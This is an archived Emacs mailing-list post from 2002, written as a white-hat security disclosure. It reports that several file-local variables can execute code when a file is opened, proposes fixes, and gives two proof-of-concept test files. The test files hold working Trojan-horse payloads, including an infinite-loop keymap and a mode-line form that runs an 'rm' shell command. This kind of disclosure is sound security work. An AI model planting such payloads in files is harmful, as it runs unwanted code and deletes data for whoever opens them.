From: Jonathan Yavner <jyavner@comcast.net>
Subject: Security holes in risky-local-variable system
Date: Tue, 26 Mar 2002 16:45:52 GMT [thread overview]
Message-ID: <3CA0A5F7.DD46E3BF@comcast.net> (raw)
Version: GNU Emacs 21.1.1 (i386-msvc-windows98.1998)
!!!This is intended as a white-hat post. No flames, please!!!
These variables are risky and should have the risky-local-variable
attribute:
auto-mode-alist
minor-mode-overriding-map-alist
overriding-local-map
Any of these could be used in the "Local Variables" area of a file in
order to create a Trojan horse; see test files below.
Another Trojan-horse method uses the frame parameter
`buffer-predicate', so any variable that defines frame parameters is
risky:
default-frame-alist
initial-frame-alist
pop-up-frame-alist
special-display-buffer-names
special-display-frame-alist
The font-lock system uses callback functions, so its variables are
risky if global-font-lock-mode is enabled. Also, the font-lock
initialization will happily set any variable for you, even those with
the risky-local-variable property:
font-lock-defaults
font-lock-keywords
font-lock-syntactic-keywords
Because display properties can contain forms to be evaluated later,
any variable containing text that might be inserted into a buffer is
risky. Examples:
buffer-undo-list
default-directory
default-text-properties
I'm sure of these (see test files below), but there could be many
others. Perhaps what's needed is a variable "display-eval-enable"
default nil, with risky-local-variable property? Such a variable
would close this entire loophole, except in modes that really want it.
Because of the :eval keyword, any variable used for mode-line
formatting is also risky. Examples:
frame-title-format, global-mode-string, header-line-format,
icon-title-format, input-method-alist, minor-mode-alist,
mode-line-buffer-identification, mode-line-format,
mode-line-frame-identification, mode-line-modified,
mode-line-mule-info, mode-line-process, vc-mode
How about a new variable "mode-line-eval-enable", with
risky-local-variable property, default '(mode-line-mode-name), which
would be a list of functions that :eval would accept, or t to accept
everything?
Test file #1: (give it the filename "x", change "$" below to ":",
save, and reload)
...........snip here...................................................
For a moment's amusement, load this file and immediately type
C-c r a s h
Maximize your enjoyment by not saving your other buffers first!
Other fun things to try:
C-_
C-x C-f x RET C-x k RET
;;; Local Variables$
;;; overriding-local-map: (keymap (3 . (lambda ()
(interactive)
(while 1))))
;;; buffer-undo-list: (nil (#("Fun" 0 3 (display (height
(progn (message "@buffer-undo-list") 2)))) . 1))
;;; default-directory: #("/tmp/" 0 5 (display (height
(progn (message "@default-directory") 2))))
;;; mode-line-format: (:eval (progn
(shell-command "rm /UNLIKELY/FILENAME*")
"@mode-line-format"))
;;; End:
...........snip here...................................................
Test file #2: (call it "x.el", enable global-font-lock first,
change "$" below to ":", save and reload)
...........snip here...................................................
Some fun things to try:
C-a C-\
C-x C-w x RET
C-x 5 2 C-x b RET
;;; Local Variables$
;;; auto-mode-alist: (("." . (lambda () (message "@auto-mode-alist"))))
;;; default-frame-alist: ((buffer-predicate . (lambda (x)
(message "@default-frame-alist"))))
;;; font-lock-defaults: (((eval . (message "@font-lock-defaults#1")))
nil nil nil
(lambda (&rest x) (message "@font-lock-defaults#2"))
(load-path "@font-lock-defaults#3/"))
;;; mode: Outline-minor
;;; minor-mode-overriding-map-alist: ((outline-minor-mode keymap
(1 . (lambda () (interactive)
(error "@minor-mode-overriding-map-alist")))))
;;; default-text-properties: (display (height
(progn (message "@default-text-properties") 0.5)))
;;; header-line-format: (:eval (message "@header-line-format"))
;;; input-method-alist: (("latin-1-prefix" "English"
(lambda (x) (message "@input-method-alist"))
"@" "Making trouble"))
;;; End:
..........snip here...................................................
next reply other threads:[~2002-03-26 16:45 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2002-03-26 16:45 Jonathan Yavner [this message]
-- strict thread matches above, loose matches on Subject: below --
2002-03-27 4:22 Security holes in risky-local-variable system Jonathan Yavner
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=3CA0A5F7.DD46E3BF@comcast.net \
--to=jyavner@comcast.net \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
Code repositories for project(s) associated with this external index
https://git.savannah.gnu.org/cgit/emacs.git
https://git.savannah.gnu.org/cgit/emacs/org-mode.git
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.